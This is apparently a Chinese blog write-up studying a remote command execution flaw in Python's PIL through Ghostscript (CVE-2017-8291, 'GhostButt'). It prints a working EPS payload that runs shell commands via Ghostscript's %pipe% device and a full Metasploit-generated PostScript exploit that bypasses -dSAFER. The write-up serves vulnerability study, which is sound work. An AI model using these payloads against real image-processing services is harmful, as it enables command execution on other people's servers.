前言
基本是跟着nearg1e大神的文章走的,自己比较菜,只能膜膜大神了
https://github.com/neargle/PIL-RCE-By-GhostButt
环境
Ubuntu16.04,PIL1.1.7,ghostscript-9.19(version <= 9.21)
分析
首先是一个简单的Demo
from PIL import Image
def get_img_size(filepath=""):
if filepath:
img = Image.open(filepath)
img.load()
return img.size
return (0,0)
这个非常简单,就是获取图片size的Demo,这里调用了PIL里Image的Image.open和Image.load函数,加载图片
进下源码,看open函数里,由于这里我已经了解这个漏洞大概了,我直接看open函数对格式的判断吧
for i in ID:
try:
factory, accept = OPEN[i]
if not accept or accept(prefix):
fp.seek(0)
return factory(fp, filename)
except (SyntaxError, IndexError, TypeError):
pass
看到accept(prefix),这个prefix是前缀,文件头,也就是说这里应用了文件头,我们再跟下这个accept
#EpsImagePlugin
def _accept(prefix):
return prefix[:4] == "%!PS" or i32(prefix) == 0xC6D3D0C5L
#GifImagePlugin
def _accept(prefix):
return prefix[:6] in ["GIF87a", "GIF89a"]
#CurImagePlugin
def _accept(prefix):
return prefix[:4] == "\0\0\2\0"
这样的还有很多,也就是说,我们使用的后缀不要紧,重要的是文件头表示这是什么文件,我们试一下:
首先找一张普通图吧,这张图片是png格式,我改成jpg,然后用脚本走下。
from PIL import Image
def show(filename):
i=Image.open(filename)
print i.format
show("./123.jpg")
那么我改改文件头呢?
是可以的,做到让PIL懵逼
我跟着nearg1e大神的思路走了下就是阅读EpsImagePlugin
的源码
load之后,我们走向EpsImagePlugin
command = ["gs",
"-q", # quite mode
"-g%dx%d" % size, # set output geometry (pixels)
"-dNOPAUSE -dSAFER", # don't pause between pages, safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % file,# output file
"- >/dev/null 2>/dev/null"]
命令是gs -q -g%dx%d -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=%s - >/dev/null 2>/dev/null
try:
gs = os.popen(command, "w")
# adjust for image origin
if bbox[0] != 0 or bbox[1] != 0:
gs.write("%d %d translate\n" % (-bbox[0], -bbox[1]))
fp.seek(offset)
while length > 0:
s = fp.read(8192)
if not s:
break
length = length - len(s)
gs.write(s)
status = gs.close()
if status:
raise IOError("gs failed (status %d)" % status)
im = Image.core.open_ppm(file)
finally:
try: os.unlink(file)
except: pass
这里就是dSAFER参数,这个参数限制了我们对文件删除、重命名以及命令执行的行为,但是牛逼的 GhostButt CVE-2017-8291
刚好就是 dSAFER 参数的 bypass。但是,这个漏洞,我一个web狗表示很纠结,于是,我先进行下不带dSAFER的尝试
不带dSAFER的尝试
我们直接把源码里的dSAFER注释掉,然后就可以了
不带dSAFER的使用,发现一切比较舒畅,我们直接利用gs的pipe通道就可以直接命令执行
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
currentdevice null false mark /OutputFile (%pipe%echo "hahaha" > /home/web/2333)")
.putdeviceparams
1 true .outputpage
0 0 .quit
我们使用这个包装过的poc,我们可以改为png后缀,进行image.load操作,发现没毛病。之后就直接进行cve吧
GhostButt CVE-2017-8291
这让我一个web狗很纠结啊,表示二进制很渣啊。
所以,我就直接用msf吧,生成了如下poc
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
/size_from 10000 def
/size_step 500 def
/size_to 65000 def
/enlarge 1000 def
%/bigarr 65000 array def
0
size_from size_step size_to {
pop
1 add
} for
/buffercount exch def
/buffersizes buffercount array def
0
size_from size_step size_to {
buffersizes exch 2 index exch put
1 add
} for
pop
/buffers buffercount array def
0 1 buffercount 1 sub {
/ind exch def
buffersizes ind get /cursize exch def
cursize string /curbuf exch def
buffers ind curbuf put
cursize 16 sub 1 cursize 1 sub {
curbuf exch 255 put
} for
} for
/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def
enlarge array aload
{
.eqproc
buffersearchvars 0 buffersearchvars 0 get 1 add put
buffersearchvars 1 0 put
buffersearchvars 2 0 put
buffercount {
buffers buffersearchvars 1 get get
buffersizes buffersearchvars 1 get get
16 sub get
254 le {
buffersearchvars 2 1 put
buffersearchvars 3 buffers buffersearchvars 1 get get put
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
} if
buffersearchvars 1 buffersearchvars 1 get 1 add put
} repeat
buffersearchvars 2 get 1 ge {
exit
} if
%(.) print
} loop
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put
buffersearchvars 0 get array aload
sdevice 0 get
16#3e8 0 put
sdevice 0 get
16#3b0 0 put
sdevice 0 get
16#3f0 0 put
currentdevice null false mark /OutputFile (%pipe%echo "**" > /root/flag)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf
但是很纠结的是不行啊。
于是我又在9.21版本试了一次,结果发现,可以了。
也就是说这个cve只适用于9.21版本的,所以兄弟们注意了。
后记
由于自己不是pwn大神,所以这个cve就先放一下吧,以后功力涨了再说,先把web端搞好。